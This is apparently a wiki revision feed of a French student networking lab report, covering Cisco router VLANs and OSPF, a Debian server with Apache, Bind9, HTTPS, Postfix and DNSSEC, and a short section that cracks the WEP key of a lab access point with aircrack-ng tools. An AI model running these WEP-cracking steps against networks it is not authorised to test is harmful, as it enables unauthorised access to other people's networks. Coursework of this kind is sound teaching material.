  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
On en profite pour forcer l&amp;#039;utilisation de HTTPS:&lt;br /&gt;
&lt;br /&gt;
 $ vim /var/www/html/.htaccess&lt;br /&gt;
 &lt;br /&gt;
 RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTPS} !on&lt;br /&gt;
 RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}&lt;br /&gt;
&lt;br /&gt;
 $ a2enmod rewrite&lt;br /&gt;
 $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
On génére le couple de clés KSK et ZSK:&lt;br /&gt;
 &lt;br /&gt;
 $ cd /etc/bind&lt;br /&gt;
 $ mkdir unic0rn.pw.dnssec ; cd unic0rn.pw.dnssec&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE unic0rn.pw&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE unic0rn.pw&lt;br /&gt;
&lt;br /&gt;
/dev/urandom n&amp;#039;est pas sécurisé comme générateur de chiffres aléatoires, il est préférable d&amp;#039;utiliser un générateur hardware.&lt;br /&gt;
&lt;br /&gt;
On ajoute les clés générées dans le fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/bind/unic0rn.pw&lt;br /&gt;
 &lt;br /&gt;
 $include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-ksk.key&lt;br /&gt;
 $include /etc/bind/unic0rn.pw.dnssec/unic0rn.pw-zsk.key&lt;br /&gt;
&lt;br /&gt;
On chiffre signe ensuite le fichier de zone (cela va générer unic0rn.pw.signed):&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o unic0rn.pw -k unic0rn.pw-ksk ../unic0rn.pw unic0rn.pw-zsk&lt;br /&gt;
&lt;br /&gt;
Et on indique au serveur que l&amp;#039;on va utiliser dnssec:&lt;br /&gt;
&lt;br /&gt;
 $ vim named.conf.options&lt;br /&gt;
 &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
 $ vim named.conf.local&lt;br /&gt;
 &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 $ service bind9 restart&lt;br /&gt;
&lt;br /&gt;
La fonctionnalité DNSSEC n&amp;#039;étant pas supporté sur les domaines .PW, notre implémentation s’arrêtera ici.&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35582</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35582"/>
		<updated>2016-12-02T09:05:13Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
